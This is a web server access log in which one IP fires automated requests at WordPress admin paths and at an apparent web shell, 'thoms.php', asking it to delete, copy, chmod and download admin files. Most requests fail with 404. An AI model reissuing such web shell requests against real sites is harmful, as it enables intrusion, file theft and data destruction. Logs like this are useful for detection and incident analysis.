45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /broadweb.com.tw/wp-admin/async-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:14 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?chmod=ms-edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?chmod=options-general.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?del=theme-install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-connectors.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-connectors.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?del=term.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=term.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-tags.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-tags.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /broadweb.com.tw/wp-admin/ms-users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?dl=ms-users.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fnetwork.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fnetwork.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /broadweb.com.tw/wp-admin/plugin-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?chmod=press-this.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:15 -0400] "GET /thoms.php?del=install-helper.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?del=options-writing.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /broadweb.com.tw/wp-admin/post-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?dl=plugin-install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?del=press-this.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?del=revision.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=revision.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ftools.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ftools.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fexport.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fexport.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fasync-upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fasync-upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Finstall-helper.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Finstall-helper.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?del=options-general.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?chmod=custom-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:16 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fsetup-config.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fsetup-config.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Finstall.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Finstall.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?chmod=link-manager.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmedia-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmedia-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /broadweb.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?chmod=edit-comments.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-comments.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?del=edit-tags.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-general.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-general.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?del=export-personal-data.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-comments.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-comments.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-edit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-edit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?del=users.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=users.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:17 -0400] "GET /thoms.php?dl=options.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?chmod=setup-config.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?chmod=site-health-info.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?chmod=upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?del=admin-post.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmoderation.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmoderation.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ffreedoms.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ffreedoms.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /broadweb.com.tw/wp-admin/widgets-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?chmod=install-helper.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?dl=load-styles.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?del=network.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=network.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?chmod=images&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=images&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmenu-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmenu-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /broadweb.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:18 -0400] "GET /thoms.php?chmod=admin-functions.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?del=link-parse-opml.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-users.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-users.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
